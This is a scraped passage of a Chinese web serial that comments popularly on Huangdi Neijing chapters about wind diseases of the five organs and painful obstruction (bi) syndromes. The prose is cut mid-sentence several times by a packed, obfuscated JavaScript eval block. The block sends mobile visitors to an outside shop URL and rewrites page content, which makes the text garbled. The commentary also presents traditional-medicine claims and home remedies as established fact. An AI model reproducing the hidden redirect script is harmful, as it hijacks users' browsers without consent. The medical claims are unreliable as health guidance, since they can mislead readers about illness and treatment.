而“风邪停留于腠理，就会引发泄风病”，则进一步揭示了风邪的狡猾与多变。腠理，可以理解为人体肌肤的纹理和毛孔，是外邪入侵的门户之一。风邪若是在这里安营扎寨，就会阻碍气血的正常流通，使得肌肤失去滋养，从而出现一系列皮肤问题，如瘙痒、风疹等，严重时还可能引发泄风病，表现为身体局部或全身的异常排汗、怕风等症状。 至于“风邪是引起多种疾病的首要因素，它的变化很多，而且侵入人体后也会产生变化，能引起其他各种疾病，没有一定规律”，这确实是对风邪致病特性的深刻总结。风邪善行数变，既无孔不入，又变化莫测，它 不仅能单独致病，还能与其他邪气（如寒、湿、热等）相互勾结，共同为患。因此，在治疗因风邪引起的疾病时，中医往往需要综合考虑患者的体质、病情以及外界环境等多种因素，灵活运用各种治疗手段，以达到驱邪扶正、恢复健康的目的。 最后，归根到底还是风邪入侵”这一观点在中医理论中占有重要地位，但我们也应认识到，疾病的产生往往是多因素综合作用的结果。因此，在预防和治疗疾病时，我们不仅要关注风邪等外邪的侵袭，还要注重调整自身的饮食起居、情志活动等方面，以增强机体的正气和抵抗力，从而真正实现“正气存内，邪不可干”的健康状态。 中医理论中关于风邪与人体健康关系的论述，不仅是对古代医学智慧的传承，也是对现代人健康生活方式的一种提醒。在日常生活中，我们应当注意避免在身体虚弱或毛孔张开时感受风邪，保持良好的生活习惯和作息规律，以增强身体抵抗力，预防疾病的发生。 第26章 （6）五脏之风症状大揭秘：如何识别与应对 黄帝问：五脏风症的临床表现有什么不同？希望您讲讲诊断关键和病症表现 岐伯说：“肺风”的症状，“多汗，恶风，面色淡白，不时咳嗽气短，白天减轻，傍晚加重”，以及诊察时需注意“眉上部位，眉间往往会呈现白色”，这一系列描述，不仅是对病症表象的精确概括，也蕴含了中医对于人体与自然、脏腑与体表之间关系的深刻理解。” 多汗与恶风：在中医看来，肺主皮毛，司腠理开阖，控制汗液排泄。肺风患者多汗，往往反映了肺气虚弱，腠理不固，导致汗液外泄。而怕风，则是因肺气不足，卫外不固，机体易受风邪侵袭所致。 面色淡白：肺主气，朝百脉，输精于皮毛。肺气虚弱，气血运行不畅，面部得不到充足的气血滋养，故见面色淡白无华。 咳嗽气短：肺为华盖，主气司呼吸。肺气虚弱，宣降失常，则易出现咳嗽、气短等症状。而白天减轻，傍晚加重，可能与人体阳气昼夜变化有关，傍晚时分阳气渐衰，正气更虚，故症状加剧。 诊察眉上部位：中医望诊中，面部各部位与脏腑有着密切联系，眉上部位（通常指印堂至眉毛上方区域）与肺脏相应。肺风患者眉间呈现白色，可能是肺气虚弱、气血不荣于外的表现，为中医望诊提供了重要的诊断线索。 “心风”若以症状而言，其表现如“多汗怕风，形体干瘦，容易发怒，面色发红，病重时说话不爽利”，以及诊查时“舌质往往会呈现红色”，这一系列特征，可以从多个层面进行解读。 多汗怕风：这反映了心气不足或心火过旺导致的卫外不固与内热外散并存的复杂状态。心主血脉，汗为心之液，心气不足则固摄无权，易致多汗；而心火亢盛，则逼迫津液外泄，同样可见多汗。怕风则是因体表卫气不足，不能抵御外邪侵袭所致。 形体干瘦：可能意味着心血不足，不能滋养全身，加之可能存在的内热消耗，导致形体日渐消瘦。 容易发怒：心主神明，情志之怒与心火旺盛有密切关系。心火过旺，扰动心神，易使人情绪易怒，难以自制。 面色发红：这是心火亢盛的直观表现。心开窍于舌，其华在面，心火旺盛，气血上涌于面，故见面色发红。 病重时说话不爽利：可能因心气虚弱，或痰火扰心，影响语言功能，导致说话不流利，甚至言语不清。 诊查时要注意舌部：舌质呈现红色，往往是心火旺盛的明确指征。中医望舌，通过观察舌色、苔质等变化，可以判断脏腑的寒热虚实。心火旺盛者，舌质多红，甚至可出现舌尖红赤、芒刺等征象。 “心风”虽非现代医学术语，但中医对其症状的描述，为我们提供了一种从内在脏腑功能失调角度理解人体病理变化的方法。在实际诊疗中，应结合患者具体病情，综合运用中医四诊合参的方法，进行辨证施治。 针对的“肝风”症状描述，我们首先需要明确，这是中医理论中的一种病理概念，用以概括一系列与肝脏功能失调相关的临床表现。虽然“肝风”并非现代医学的直接术语，但中医通过长期的临床观察与总结，对其症状有了深刻的认识。 多汗、怕风与常悲伤：在中医看来，肝主疏泄，调畅气机，同时肝也藏魂，与人的情绪变化密切相关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428755|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。肝风患者多汗、怕风，可能反映了肝气不舒，气机郁滞，导致腠理不固，汗液外泄；而常悲伤，则可能是肝气郁结，魂不守舍，情绪难以调节的表现。 面色微青：肝属木，其色青。面色微青，是肝气郁结，气血不畅，导致面部血管充血或缺血的直观反映。这也是中医望诊中判断肝脏功能状态的重要依据之一。 咽喉干：虽然咽喉与肺脏的关系更为直接，但在中医理论中，五脏之间是相互关联、相互影响的。肝风患者咽喉干燥，可能与肝气郁结，影响全身气机升降，导致津液输布失常有关。 容易发怒：肝主怒，肝气郁结或肝火旺盛，都易导致人情绪易怒，难以控制。这是肝风患者常见的情绪表现。 有时厌恶女性：这一症状在中医理论中较为少见，可能更多地与患者的个人心理、社会环境等因素有关。然而，从中医角度来看，肝气郁结可能导致情志不畅，进而影响人的社交与情感表达。 诊查时要注意目下眼圈：中医望诊中，眼部是观察肝脏功能状态的重要窗口。目下眼圈（即眼睑下方）出现青色，往往是肝气郁结、气血瘀滞的征象。这一观察有助于中医医生更准确地判断患者的肝脏功能状态及病情轻重。 肝风的症状表现多样，涉及情绪、面色、汗液、咽喉等多个方面。在中医诊疗中，应综合运用望、闻、问、切四诊合参的方法，对患者的病情进行全面、系统的分析与判断。同时，也需要注意到患者个体差异及社会环境等因素的影响，避免将某一症状简单地归咎于某一脏腑的病变。 这章没有结束，请点击下一页继续阅读！ 第27章 痹论篇 在探讨这篇名为《痹论》的专篇时，我们仿佛踏入了一场跨越千年的医学智慧之旅，它不仅仅是一部论述痹病的文献，更是中医理论体系中一颗璀璨的明珠，照亮了后世对风湿类疾病认知的道路。 首先，让我们从“病因”说起。《痹论》深刻剖析了痹病之源，不外乎外邪侵袭与内因失和。外邪者，风、寒、湿、热之邪是也，它们或单独作祟，或相互勾结，乘虚而入人体经络、关节，导致气血不畅，发为痹病。内因则涉及脏腑功能失调，正气不足，难以抵御外邪，使得痹病得以滋生蔓延。 接下来是“病机症状”。《痹论》详细描述了痹病在人体内的演变过程，从初期的经络痹阻，到中期的气血凝滞，再到晚期的筋骨失养、关节变形，每一步都伴随着疼痛、麻木、屈伸不利等典型症状。这些症状不仅影响了患者的日常生活，更是对其身心健康的巨大挑战。 再论“分类治疗方法”，《痹论》展现了中医辨证论治的精髓。根据不同的痹病类型，如行痹（风痹）、痛痹（寒痹）、着痹（湿痹）及热痹等，分别采用祛风通络、散寒除湿、清热通痹等治法，同时注重调和气血、补益肝肾，以达到扶正祛邪、标本兼治的目的。此外，还强调了针灸、推拿、中药外敷等外治法的应用，体现了中医治疗的多样性和灵活性。 至于“预后”，《痹论》虽未直接给出明确的预后判断公式，但字里行间透露出对疾病早期干预、综合治疗及患者自我调养的高度重视。它告诉我们，痹病虽缠绵难愈，但只要医患双方共同努力，遵循正确的治疗原则，注重日常调养，多数患者仍能获得较好的愈后，重归健康生活的轨道。 综上所述，《痹论》不仅是一部关于痹病的专篇，更是中医智慧的结晶，为我们理解、治疗痹病提供了宝贵的理论依据和实践指导。在当今社会，随着风湿类疾病发病率的上升，重读《痹论》，汲取其中的智慧与精华，对于提高我们的诊疗水平，减轻患者痛苦，具有深远的意义。 痹病，这个名字听起来就像是武侠小说里的独门秘籍被反派误练，结果走火入魔的桥段。但言归正传，痹病在中医理论中，确实是一种因外界“邪风”（包括风、寒、湿、热等邪气）趁虚而入，侵袭人体肌肉、骨节、经络，从而引发气血运行不畅或闭阻不通的病症。 想象一下，我们的身体就像是一条条错综复杂的河流网络，气血则是这条网络中流淌的生命之水。当邪风这些不速之客入侵时，它们就像是在河流中投下了巨石，阻碍了水流的顺畅，导致某些地方干涸，某些地方泛滥。在人体上，这就表现为肢体关节的疼痛、麻木和活动不便，仿佛身体的某些部分被“冻住”或“卡住”了一样。 治疗痹病，中医讲究的是“辨证施治”，即根据患者的具体病情，采用针对性的治疗方法。比如，对于风邪偏盛的痹病，会用一些祛风通络的药物来驱散风邪；对于寒邪凝滞的痹病，则会用温经散寒的药物来温暖经络，驱散寒气。同时，中医还强调“治未病”，即在日常生活中注意调养身体，增强正气，减少邪风的侵袭机会。 当然，痹病并非一朝一夕所能形成，其治疗也需要时间和耐心。但只要我们积极配合医生的治疗，遵循医嘱，调整生活方式，大多数痹病患者都能获得不同程度的改善和缓解。 当我们踏入这部关于痹病的深度剖析之作时，仿佛是开启了一场医学与哲学的跨界对话。首先，让我们来聊聊痹病的“庐山真面目”。 一、痹病的含义与发病原因 痹病，这个名字听起来就带着几分古朴与深邃。简单来说，它就是由于外界邪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428756|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气（风、寒、湿、热等）侵袭人体，导致体内气血运行不畅或闭阻不通，进而引发肢体关节疼痛、麻木、活动不便等一系列症状的病症。发病原因嘛，就像是一场不期而遇的风暴，既有外界环境的突变（如气候变化、居住环境潮湿等），也有内在体质的薄弱（如正气不足、脏腑功能失调等），内外因素交织，共同促成了痹病的形成。 二、痹病的分类归纳 接下来，我们来看看痹病的“家族谱系”。这部片子从成因、四时、位置等多个角度对痹病进行了细致的分类归纳。比如，从成因上可分为风痹、寒痹、湿痹、热痹等；从四时变化上，春季多风痹，夏季多热痹，秋季多湿痹，冬季多寒痹；而从发病位置来看，痹病又可累及筋骨、关节、肌肉等不同部位，呈现出多样化的临床表现。 三、痹病与气血失调的纠葛 说到痹病的发生机制，就不得不提它与身体内部气血失调的紧密关联。气血，作为人体生命活动的物质基础，它们的顺畅运行对于维持机体的正常功能至关重要。而痹病的发生，正是由于邪气侵袭，导致气血运行受阻，局部出现气滞血瘀、经络不通的病理状态。因此，治疗痹病时，调理气血、疏通经络往往是不可或缺的一环。 四、痹病的性质、发病部位与预后的微妙关系 最后，我们来探讨一下痹病的性质、发病部位与预后之间的微妙关系。痹病的性质不同（如风痹轻扬、寒痹凝滞等），其发病部位也会有所差异（如关节、肌肉、筋骨等），而这些因 素又会在一定程度上影响痹病的预后。一般来说，痹病初起时病情较轻，治疗相对容易；若迁延不愈，病情逐渐加重，则治疗难度也会相应增加。因此，对于痹病的治疗，应尽早干预、辨证施治，以期获得最佳的治疗效果。 第27章 （1）揭秘痹病成因：全面解析痹病如何形成 黄帝问：痹病是怎样产生的？ 岐伯说：在探讨岐伯关于痹病的论述时，我们不得不深入中医理论的精髓之中，去感受那份跨越千年的智慧之光。 首先，让我们从字面上理解“痹”字，它原指闭阻不通之意，在中医中则特指因风、寒、湿等外邪侵袭人体，导致经络闭阻，气血运行不畅，从而引发的肢体关节肌肉疼痛、麻木、重着、屈伸不利，甚或关节肿大灼热等症状的总称。岐伯所言“风寒湿三种邪气杂合伤人”，正是对痹病病因的精辟概括。 接下来，我们分别看看这三种邪气偏盛时各自的特点： 谈到这风邪偏盛之行痹，咱们不妨先来一场说走就走的“思维旅行”。想象一下，如果你是一位勇敢的探险家，正穿梭在变幻莫测的自然界中，时而攀登高峰，时而漫步林间，那种自由自在、随心所欲的感觉，是不是就像风一样善行且数变？ 现在，把这份感受转移到中医的语境里来。风，作为自然界的一种力量，它无孔不入，无处不在，且行踪飘忽不定。当这股力量以“邪”的形式侵袭人体时，便化作了导致痹病的元凶之一——风邪。风邪入体，如同探险家在人体内进行了一场不受拘束的旅行，它不会安分守己地待在一个地方，而是四处游走，寻找那些经络的薄弱环节进行侵扰。 于是，我们就看到了行痹的典型症状：疼痛仿佛被风带着跑，一会儿在上肢作祟，让人抬手都觉艰难；一会儿又溜到下肢，让人步履维艰。这种游走不定的特性，正是风邪“善行数变”的生动写照。岐伯老先生将这类痹病命名为“行痹”，真可谓是抓住了疾病的精髓，让人一听便知其意，仿佛亲眼目睹了那股在体内肆虐的风邪。 一说到这“寒邪偏盛之痛痹”，我脑海里就浮现出了一幅画面：冬日里，寒风凛冽，仿佛连空气都被冻成了针，一针一针地往骨头缝里钻。这时候，如果你不幸遭遇了寒邪的“亲密接触”，嘿，那可就是一场关于“痛”的深刻体验了。 寒邪这家伙，性格那叫一个“凝滞收引”，它一来，就像给身体里的气血和经脉安上了减速带，让它们动弹不得，流通不畅。气血一堵，经脉一涩，那疼痛自然就找上门来了。而且，这疼痛还不是一般的疼，是那种深入骨髓、让人忍不住皱眉头的疼。更绝的是，这疼痛还有个“遇寒则加剧，得温则稍减”的脾性，简直就像是跟温度玩起了“你冷我更疼，你暖我稍安”的游戏。 岐伯老先生看到这情形，一拍大腿，说了句：“这不就是典型的‘痛痹’嘛！”他老人家一语中的，用“痛痹”二字，既点明了病因是寒邪作祟，又形象地描述了病状——疼痛难忍。这不仅是对病痛的一种精准概括，更是对中医理论深刻理解的体现。 所以，面对痛痹，我们得学会“避寒就温”，就像是在冬天里找个温暖的避风港一样。同时，还可以通过中医的针灸、拔罐、艾灸等方法，来温通经络、散寒止痛，让身体重新找回那份被寒邪夺走的温暖与舒适。 当我们聊到“湿邪偏重的着痹”时，不妨想象一下梅雨季 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428757|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 节的江南小镇，空气中弥漫着挥之不去的水汽，连石板路都仿佛能拧出水来。这种潮湿、黏腻的感觉，正是湿邪的“重浊黏滞”特性在自然界中的体现。 而当这股湿邪悄悄潜入人体，与我们的肢体关节“亲密接触”时，一场关于“沉重”与“不便”的故事便悄然上演。你会发现，原本灵活的关节开始变得像被厚重的湿布包裹，每一次活动都伴随着一种难以言喻的沉重感和酸楚。这种感觉，就像是穿着湿透的衣服走在泥泞的小路上，每一步都异常艰难，仿佛有千斤重担压在身上。 岐伯老先生看到这一幕，不禁感慨万分，于是他将这种因湿邪所致的痹病命名为“着痹”。一个“着”字，既描绘了湿邪附着于肢体关节、难以摆脱的状态，又准确传达了患者那种难以言喻的沉重感受。这不仅仅是一个简单的命名，更是中医理论对疾病本质深刻理解的体现。 面对着痹，我们需要采取一系列措施来祛湿通络、活血化瘀。中医的针灸、拔罐、艾灸等方法在这方面有着独特的优势，它们能够通过刺激经络、调整气血运行来缓解患者的症状。同时，合理的饮食调养和适当的运动锻炼也是必不可少的。毕竟，保持身体的干燥与活力，是抵御湿邪侵袭的重要法宝。 综上所述，岐伯关于痹病的分类与阐述，不仅体现了中医对疾病病因病机的深刻认识，也为我们后世治疗痹病提供了宝贵的理论指导。在现代医学中，虽然对痹病的认识和治疗手段有了更多的发展，但岐伯的这些理论仍然具有重要的参考价值。 第27章 （2）揭秘！五种常见痹症及其预防方法 黄帝问痹病可分为五种，都是什么呢？ 岐伯说：我们来理解“痹”这一概念。在中医理论中，“痹”通常指的是因风、寒、湿、热等外邪侵袭人体，导致经络闭阻，气血运行不畅，从而引发的肢体关节疼痛、麻木、屈伸不利等症状。“骨痹”、“筋痹”、“脉痹”、“肌痹”、“皮痹”，正是根据疾病发生的季节特点，对痹症进行了进一步的细分。 “冬天发病的称为骨痹”，我们首先要穿越到那个古老而智慧的中医世界去理解它。在中医的宇宙观里，四季更迭与人体五脏六腑、经络气血有着密切的对应关系，形成了一套独特的天人合一理论。 冬天，大自然进入了一年中的收藏阶段，万物蛰伏，寒气凝滞，这正是肾所主宰的时节。肾，被誉为“先天之本”，它不仅掌管着生长发育和生殖繁衍，还与骨骼的健康紧密相连，因为“肾主骨生髓”。骨髓，是骨骼的精髓所在，也是人体造血和免疫系统的重要组成部分。 想象一下，在寒风凛冽的冬日，如果我们保暖措施不到位，身体就像是打开了一扇窗，任由外界的寒邪乘虚而入。这寒邪，就像是一位冷酷的入侵者，直接渗透到我们的骨髓之中，导致气血凝滞，经络不通。于是，骨痹就这样悄然发生了——骨关节疼痛、僵硬，仿佛每一寸骨头都在诉说着寒冷与不适。 但别担心，中在冬天，我们完全可以通过合理的饮食调养（比如多吃一些温补肾阳的食物，如羊肉、核桃等），适当的体育锻炼（如太极拳、八段锦等，有助于增强身体的抗寒能力），以及做好保暖工作（特别是头部、颈部、腰部和脚部的保暖），来抵御寒邪的侵袭，保护我们的骨骼健康，远离骨痹的困扰。 所以，冬天虽冷，但只要我们用心呵护自己，就能让身体在寒冷中依然保持温暖与活力。 谈及“春天发病的称为筋痹”，这仿佛是自然界与人类身体间的一场微妙对话，在春风和煦与“倒春寒”的交替中缓缓展开。春天，这个季节总是带着一种重生的气息，万物复苏，连空气中都弥漫着生长的力量。在中医的理论体系中，春天与肝相应，肝木逢春而旺，主管着人体内的“筋”系统。 筋，不仅仅是连接肌肉与骨骼的纽带，更是人体运动灵活性的关键所在。当春天来临，肝气随着自然界的阳气一同升发，筋脉也随之舒展开来，准备迎接一年中的活跃期。然而，春天的天气却像是个调皮的孩子，时而温暖如夏，时而寒冷如冬，“倒春寒”便是这变化无常的典型表现。 在这样的季节里，如果人体未能及时适应气温的骤变，或是因疏于防护而受风邪侵袭，那么筋脉就可能遭受不测，出现拘挛、紧张甚至疼痛的情况，这就是我们所说的“筋痹”。筋痹的症状多种多样，但最常见的就是肌肉筋骨的酸痛和活动受限，仿佛身体被一层无形的枷锁束缚，难以自如地伸展。 面对筋痹的困扰，中医讲究的是“治风先治血，血行风自灭”。也就是说，在治疗筋痹时，要注重调理气血，使气血运行顺畅，从而驱散风邪，舒缓筋脉。此外，还可以通过针灸、推拿、拔罐等中医外治法来直接作用于筋脉，达到舒筋活络、缓解疼痛的效果。 当然，预防筋痹的发生同样重要。在春季，我们要注意根据天气变化及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428758|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时增减衣物，避免受风邪侵袭；同时，还要加强体育锻炼，增强体质和免疫力；在饮食上也可以适当多吃一些具有疏肝解郁、舒筋活络作用的食物，如枸杞、菊花、山楂等。 春天虽美，但也要警惕“倒春寒”带来的筋痹风险。只有做好预防和调理工作，我们才能在这个充满生机的季节里保持身体的健康和活力。 “夏天发病的称为脉痹”这一话题时，不得不感叹中医理论中的智慧与精妙。夏天，这个热情如火的季节，不仅是大自然万物生长的旺季，也是人体内心火最为旺盛的时刻。心，作为五脏六腑之大主，主宰着血脉的运行，与夏季的炎热气息相呼应。 然而，正是这看似生机勃勃的季节，却也暗藏着健康的隐患。夏季高温多湿，人体为了调节体温，会不自觉地大量出汗，这一过程中，不仅消耗了体内的水分，也悄悄地耗损了心气。心气不足，则血脉运行的动力减弱，就像是一条失去了水流推动的河流，渐渐失去了活力。 与此同时，湿邪这个“不速之客”也趁机而入，它像是一张黏糊糊的网，悄悄地布满了人体的每一个角落，阻碍着气血的正常流通。血脉，作为气血运行的通道，一旦受到湿邪的侵扰，便容易形成瘀阻，这就是我们所说的“脉痹”。 脉痹的症状多种多样，但最为常见的便是血脉不通和肢体麻木。血脉不通，意味着气血无法顺畅地滋养全身，导致身体各部位出现不同程度的缺血缺氧；而肢体麻木，则是由于气血瘀滞，使得末梢神经得不到充分的滋养，从而产生了麻木不仁的感觉。 这章没有结束，请点击下一页继续阅读！ 第27章 （3）五脏痹症全攻略：症状识别与预防策略 黄帝问痹病的病邪会侵入人体内部，而累及五脏六腑，这是什么原因呢？ 岐伯说：“五脏与相合组织器官”的关联，正是这一病理过程在人体内部的深度体现。这个问题触及了中医理论中的精髓，即“脏腑与形体官窍”之间的密切关系。首先，我们来说说“骨痹不愈侵肾”。在中医的哲学体系中，肾被誉为“先天之本”，它不仅掌管着人体的生长发育与生殖繁衍，还通过“肾主骨生髓”的功能，直接影响着骨骼的强健与否。因此，当骨痹（即骨骼疾病）久治不愈时，根据中医的“脏腑相关”理论，这种病理状态会逐步向内侵袭，最终影响到肾的功能，形成“肾精亏虚”，进而加剧骨骼的衰退与病变。 “筋痹不愈及肝”。肝主疏泄，调畅气机，同时还负责“藏血”与“主筋”。这里的“筋”，可以理解为连接肌肉与骨骼的韧带和肌腱，它们的柔韧与弹性，很大程度上取决于肝血的滋养与肝气的条达。因此，当筋痹（即筋脉疾病）缠绵不愈时，会直接影响到肝的功能，导致肝气郁结或肝血不足，进而使得筋脉失去濡养，变得更加僵硬与脆弱。 脉痹不愈入心”，在中医看来，心为“君主之官”，主血脉，负责推动血液在全身脉管中运行，为各脏腑组织提供必要的营养和氧气。因此，当脉痹（即脉道疾病）迁延不愈时，它不仅仅影响的是血液的运行通道，更是对心脏功能的一种潜在威胁，久而久之，自然会影响到心脏的健康，形成“心脉瘀阻”等病理状态。 “肌痹不愈归脾”，脾作为“后天之本”，主运化，负责将水谷精微转化为气血，滋养全身。而肌肉作为人体的重要组成部分，其强健与否直接受到气血充盈程度的影响。因此，当肌痹（即肌肉疾病）缠绵不愈时，往往意味着气血生化不足，根源往往在于脾的运化功能受损。此时，调理脾胃，促进气血生成，便成为了治疗的关键。 “皮痹不愈入肺”，这一说法则强调了肺与皮毛之间的密切联系。在中医理论中，肺主皮毛，通过宣发卫气、输精于皮毛等方式，维持着皮肤的正常功能与状态。皮肤作为人体的第一道防线，其健康状态直接反映了肺的功能强弱。因此，当皮痹（即皮肤疾病）反复发作，久治不愈时，往往提示着肺的功能出现了异常。此时，通过调理肺气，增强肺的宣发肃降功能，对于改善皮肤状态、防治皮痹具有重要意义。 这些看似独立的病理过程，实则通过中医的“五行学说”和“脏腑经络理论”紧密相连，形成了一个复杂而有序的整体。当人体在五脏所主的季节里，未能有效抵御外邪的侵袭，或已存在痹证而未能及时调理，导致邪气久留不除，便会进一步侵入相应的内脏，加重病情。 因此，中医在治疗痹证时，强调“整体观念”和“辨证论治”，不仅要针对具体的疼痛部位进行治疗，更要考虑患者的体质、年龄、季节变化等多方面因素，通过调和脏腑功能、疏通经络、祛风除湿等方法，达到“治未病”和“已病防变”的目的。 在探讨中医理论中关于痹病侵入五脏的复杂症状时，我们仿佛踏入了一个既古老又神秘的医学殿堂。首先，让我们以一种既尊重传统又不失趣味的方式，来逐一解析这些看似天马行空却又蕴含深意的病象。 想象一下，肺脏，这位我们体内至关重要的“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428759|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼吸之橹”，它不仅是生命之气的交换站，更是气机升降出入的枢纽。一旦这位“橹手”遭遇痹阻，便如同广袤天空失去了轻拂的清风，一片沉闷与压抑随之而来。 这种痹阻，往往源于外感风寒湿邪，或是内伤情志、饮食不节，导致肺气郁闭，宣降失司。胸中仿佛藏有万千未解之气，这股气机的壅滞，不仅让人感到烦闷胀满，更可能引发一系列连锁反应：呕逆，是胃气上逆的表现，与肺胃不和息息相关；喘逆，则是肺气上逆，呼吸困难的直接体现；至于呕吐，更是气机逆乱，胃失和降的极端症状。 面对肺痹，中医的治疗思路多从宣肺理气、活血化瘀、通络止痛入手，旨在打开这扇被痹阻的门户，恢复肺脏的宣发肃降功能，让气机重新流动起来，如同天空再次迎来清风，带来生命的活力与舒畅。具体方法可能包括中药汤剂的调理，如运用麻黄、杏仁、甘草等宣肺平喘，或是丹参、川芎等活血化瘀；针灸、拔罐等外治法也能有效疏通经络，调和气血；同时，调整饮食作息，保持心情愉悦，对于预防和治疗肺痹同样重要。 总之，肺痹虽非一日之寒，但通过科学合理的治疗与调养，我们完全有能力让这位“呼吸之橹”重新焕发生机，让生命的清风再次吹拂心田。 在探讨“心痹”这一古老而深邃的中医概念时，我们不得不先敬畏地凝视那位居于五脏六腑之首的“君主之官”——心脏。它不仅是生命的泵动之源，更是情感与智慧的温床。当这位“君主”的血脉之道遭遇阻碍，其影响之深远，确如王朝血脉不通，国家动荡不安。 这章没有结束，请点击下一页继续阅读！ 第27章 （4）营卫之气详解与痹病典型症状一览 黄帝问：营气，卫气与风寒湿三气相和，也会引发痹病吗？ 岐伯说：“营气是水谷所化生的精气”，为我们揭示了人体内部能量循环与脏腑功能协调的微妙机制。 想象一下，我们的身体就像一台精密的机器，而营气，则是这台机器中不可或缺的润滑剂与能量源泉。它源自我们日常摄入的水谷精微，经过脾胃的运化，转化为一种清和、精粹的气，这便是营气。营气不仅富含营养，更承载着推动血液运行、滋养全身脏腑的重要使命。 岐伯说，营气“协调的运行于五脏散布于六腑”，这恰似一条无形的纽带，将人体的各个部分紧密相连。它如同一位勤勉的信使，穿梭于五脏六腑之间，不仅为它们提供必要的营养支持，还促进了它们之间的功能协调与相互制约，确保了人体生理活动的和谐有序。 而当营气“进入脉中，循着经脉的道路上下运行”时，它便化身为一股强大的生命力量，推动着血液的循环与分布。在这个过程中，营气不仅起到了连贯五脏、联络六腑的作用，还通过经络系统，将生命的活力与能量输送到全身各处，滋养着每一寸肌肤、每一根毛发，维持着人体的生命活动。 卫气这位“悍将”以其独特的性格与使命，守护着我们的身体防线。它，是水谷精微所化生的那股充满力量与活力的气息，流动起来迅疾而华丽，仿佛自然界的疾风骤雨，却又有着自己不可言喻的秩序与美感。 卫气之所以被称为“悍气”，或许是因为它那股不屈不挠、勇往直前的劲头。它不像营气那样温柔地潜入血脉之中，默默滋养着五脏六腑，而是选择了一条更为直接、更为外放的道路——循行于皮肤肌肉之间，成为我们抵御外邪的第一道屏障。在这里，卫气如同巡逻的哨兵，时刻警惕着外界的侵扰，一旦有风吹草动，便立即挺身而出，保卫家园。 而当卫气“上熏蒸于盲膜下，聚合于胸腹”时，我们更能感受到它那股强大的聚合力与影响力。盲膜之下，是脏腑的深层领地，卫气在此熏蒸，不仅有助于温煦脏腑，还能促进气血的流通与代谢。而在胸腹之间，卫气更是汇聚成一股强大的力量，调节着人体的呼吸、消化等生理功能，确保身体的正常运转。 然而，正如世间万物皆有阴阳两面，卫气的运行也不例外。一旦卫气的循行出现逆乱，卫气的正常秩序便会受到干扰，从而导致人体出现各种疾病。这时，我们便会感受到身体的不适与虚弱，仿佛失去了那股坚强的后盾。 但幸运的是，中医理论告诉我们，只要我们能及时调整卫气的循行，使卫气得以顺行无阻，那么身体的病情便会逐渐好转，甚至痊愈。这就像是一场战争中的逆转战局，只要我们能够找到问题的根源并施以正确的策略，就能重新夺回胜利的果实。 黄帝说：说的好。痹病有的表现为疼痛，有的表现为麻木，这是什么原因那？ 岐伯说：疼痛与麻木，这两种看似简单的感官体验，实则蕴含着身体状态的深刻奥秘。“痛表明寒气偏多，有寒气就会痛”，是对疼痛病因的一种直观而深刻的阐述。想象一下，当冬日寒风凛冽，我们若是不慎让寒气侵袭身体，那刺骨的疼痛便是对我们最直接的警告，告诉我们体内正气正与外来寒气进行着一场激烈的较量。 而“不痛而麻木是患 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 